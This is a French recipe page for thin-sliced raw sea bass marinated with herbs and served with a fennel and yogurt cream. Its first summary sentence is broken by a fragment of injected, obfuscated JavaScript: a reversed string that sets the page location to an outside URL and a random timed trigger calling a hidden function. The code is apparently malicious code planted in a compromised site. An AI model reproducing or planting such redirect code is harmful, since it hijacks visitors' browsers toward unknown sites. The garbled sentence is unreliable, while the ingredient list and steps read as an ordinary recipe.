Émince de bar cru à la crème de fenouil

2017-02-16

Dans un récipient mélangez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les herbes, le poivre, les baies de roses, recouvrez le poisson de ce mélange, filmez et laissez mariner pendant 24 heures.

Ingrédients

  • Pour 4 personnes
  • 400 g de bar
  • Gros sel
  • Huile d'olives
  • 1 chou romanesco
  • 1 cuillère à soupe de baies de roses
  • Poivre les 4 baies
  • Crème de fenouil
  • 30 g de concombre
  • 40 g de céleri branche
  • 100 g de fenouil
  • 30 g d'échalotes
  • 15 g de citron confit
  • 70 g de fromage blanc
  • 120 g de yaourt
  • 1 cuillère à soupe de menthe haché
  • 1 cuillère à soupe de ciboulette ciselé
  • 1 cuillère à soupe d'aneth haché
  • 1 cuillère à soupe de sucre en poudre

Préparation de la recette

Etape 1

Rincez, séchez le bar. Avec un pinceau le badigeonner d'huile d'olive et recouvrir de gros sel, pendant 30 minutes.

Etape 2

A ce moment ôtez le gros sel, passez sous le robinet d'eau froide et séchez avec un linge propre.

Etape 3

Dans un récipient mélangez toutes les herbes, le poivre, les baies de roses, recouvrez le poisson de ce mélange, filmez et laissez mariner pendant 24 heures.

Etape 4

Le lendemain coupez le poisson en tranches de 5 millimètres

Etape 5

Préparez la crème fenouil. Pelez et coupez le concombre en petits dés ainsi que les échalotes, le citron confit.

Etape 6

Dans une eau bouillante salée, faites blanchir le fenouil et le céleri pendant 1 minute. Laissez refroidir

Etape 7

Mélangez le tout et incorporez le yaourt, le fromage blanc, le sucre, la menthe, la ciboulette, l'aneth. Nappez l'émincé de bar froid et accompagnez de chou de romanesco à la vapeur. Dégustez

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